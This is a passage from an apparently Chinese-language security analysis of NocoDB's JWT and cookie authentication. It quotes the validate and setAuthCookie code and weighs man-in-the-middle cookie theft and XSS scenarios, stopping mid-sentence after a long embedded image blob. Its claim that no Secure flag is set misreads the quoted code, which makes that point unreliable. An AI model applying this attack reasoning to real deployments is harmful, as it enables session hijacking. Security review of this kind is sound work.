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) + + + +JwtStrategy(strategies/jwt.strategy.ts)的校验逻辑: + + +``` +async validate(req, jwtPayload) { + if (!jwtPayload?.email || jwtPayload?.is_api_token) return jwtPayload; + const user = await User.getByEmail(jwtPayload?.email); + if (!user) NcError.unauthorized('Token Expired...'); + if (user.token_version !== jwtPayload.token_version) { + NcError.unauthorized('Token Expired. Please login again.'); + } + return { ...userWithRoles, isAuthorized: true }; +} +``` + +双保险——JWT 签名校验 + token\_version 变更校验。如果在别处登录导致 token\_version 更新,旧 Token 自动失效。但攻击者自己注册的 Token 只有他在用,不存在失效问题。 + +Token 可以通过两种方式传递:xc-auth Header 或者 nc\_token Cookie。Cookie 由 setAuthCookie 设置: + + +``` +export function setAuthCookie(res, token) { + res.cookie('nc_token', token, { + httpOnly: true, + sameSite: 'lax', + secure: !!ncSiteUrl?.startsWith('https'), + path: '/api', + maxAge: 10 * 60 * 60 * 1000, + }); +} +``` + +Cookie 限定了 path: '/api',没有设 Secure 或 SameSite=Strict。如果 NocoDB 跑在 HTTP 上,Cookie 可以通过中间人攻击劫持。 + +path: '/api' 这个限定意味着 Cookie 只在请求 /api/\* 路径时发送。对于攻击场景来说,如果 NocoDB 的 Web 页面在 /dashboard 路径下有一个 XSS 漏洞,攻击者的 